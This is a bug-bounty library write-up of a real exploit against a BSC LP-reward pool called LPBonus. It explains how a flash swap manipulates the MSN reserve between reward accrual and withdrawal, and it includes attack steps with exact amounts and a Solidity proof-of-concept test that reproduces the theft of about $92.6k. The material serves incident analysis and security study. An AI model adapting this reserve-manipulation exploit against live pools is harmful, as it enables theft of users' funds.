# LPBonus: reserve inconsistency inflates LP reward claim

LPBonus reward index used manipulable MSN reserve at accrual vs withdrawal, letting a flash-swap crush inflate one LP's FIST claim by ~500k FIST (~$92.6k).

- Payout: Real-world hack
- Severity: high
- Program: LPBonus
- Analysis by: DeFiHackLabs
- Disclosed: 2026-09-29
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-09/LPBonus_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20260929-lpbonus
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:reverse-engineering technique:source-review vuln:business-logic vuln:flash-loan vuln:oracle-manipulation vuln:reward-distribution

**Target:** BSC LP-reward pool (LPBonus) with MSN token hooks and FIST/MSN pair
**Root cause:** BonusSEND accrual computes oneshareFIST using the MSN reserve at accrual time, while UserRemoveLp's CalcPendingUser pays out using the reserve read at withdrawal time; the reserve is fully manipulable via swaps on the FIST/MSN pair.
**Steps:**
1. Flash-borrow 13,481,395.302739 FIST from USDT/FIST FstSwap pair via `swap(0, FLASH_FIST, address(this), hex"01")`
2. Buy 140 MSN from FIST/MSN pair and add liquidity -> MSN fires `userAddLP`, registering position at MSN reserve ~501
3. Dump 12,200,000 FIST into pair, driving MSN reserve down to 89.327789
4. Sell MSN back, driving reserve up to 491.113095; MSN transfer fires `BonusSEND`, bumping oneshareFIST using the low reserve
5. Burn dust LP at reserve 491 -> MSN fires `UserRemoveLp`, CalcPendingUser pays full inflated claim 1,442,165.713011 FIST against accrual funding ~940,041.612768 FIST
6. Burn remaining position, repay flash loan, swap stolen FIST to USDT for 92,607.317234 USDT
**How found:** Reversed the unverified LPBonus and MSN bytecode; observed all reward functions gated `require(msg.sender == MSN)` and fired from MSN transfer hooks, and that accrual and withdrawal read the pair reserve at different times, making the index manipulable through permissionless swaps.
**Exploitation:** Single atomic tx: flash-swap FIST from FstSwap, manipulate FIST/MSN reserves to inflate the reward index at accrual, then trigger a dust LP withdrawal to claim the inflated FIST payout, repay loan and convert profit to USDT.
**Insight:** When a reward index is computed from an AMM reserve, check whether accrual and payout read that reserve at different moments; if so, a flash-swap can move the reserve between the two reads and inflate the claim.

## Proof of concept (copied exactly from the original report)

**Flash-swap exploit test driving reserve manipulation**

```
function testExploit() public balanceLog {
        emit log_named_decimal_uint("MSN reserve @ start", _msnReserve(), 18);
        // Flash-borrow FIST from the USDT/FIST FstSwap pair (token1 = FIST). Non-empty data => fstswapCall.
        FSTSWAP.swap(0, FLASH_FIST, address(this), hex"01");

        // Convert the leftover stolen FIST to USDT (outside the flash callback, exactly as the real tx did),
        // realizing the profit in USDT.
        uint256 leftFist = FIST.balanceOf(address(this));
        if (leftFist > 0) {
            // FstSwap: token0 = USDT, token1 = FIST, 0.3% fee. Sell leftover FIST for USDT.
            (uint112 u, uint112 f,) = FSTSWAP.getReserves();
            FIST.transfer(address(FSTSWAP), leftFist);
            uint256 outUsdt = (uint256(leftFist) * 997 * u) / (uint256(f) * 1000 + uint256(leftFist) * 997);
            FSTSWAP.swap(outUsdt, 0, address(this), "");
        }

        // claimedReward reproduces the reported 1,442,165.713011 FIST payout almost to the wei.
        // fundedReward is the NET FIST the accrual left in LPBonus (the reported 940,041.612768 is the GROSS
        // BonusSEND swap output; BonusSEND immediately redistributes ~31.6k of it to the other legitimate
        // LP holders in the same call, so the net retained here is ~908.4k).
        emit log_named_decimal_uint("FIST claimed by UserRemoveLp ", claimedReward, 6);
        emit log_named_decimal_uint("FIST funded into LPBonus (net)", fundedReward, 6);
        emit log_named_decimal_uint("over-claim (claimed - funded)", claimedReward - fundedReward, 6);
        emit log_named_decimal_uint("realized USDT profit         ", USDT.balanceOf(address(this)), 18);

        // The attacker's realized on-chain profit was 92,607.317234 USDT (~$92.6k). Assert against it.
        assertApproxEqRel(USDT.balanceOf(address(this)), 92_607.317234e18, 0.02e18, "USDT profit off");
        // Step 5 of the brief: the position claimed ~1,442,165.71 FIST while the accrual only funded
        // ~940,041.61 FIST - the gap is the theft. Assert the claimed payout against the reported figure.
        assertApproxEqRel(claimedReward, 1_442_165.713011e6, 0.02e18, "claimed FIST off");
        assertGt(claimedReward, fundedReward, "no over-claim");
```

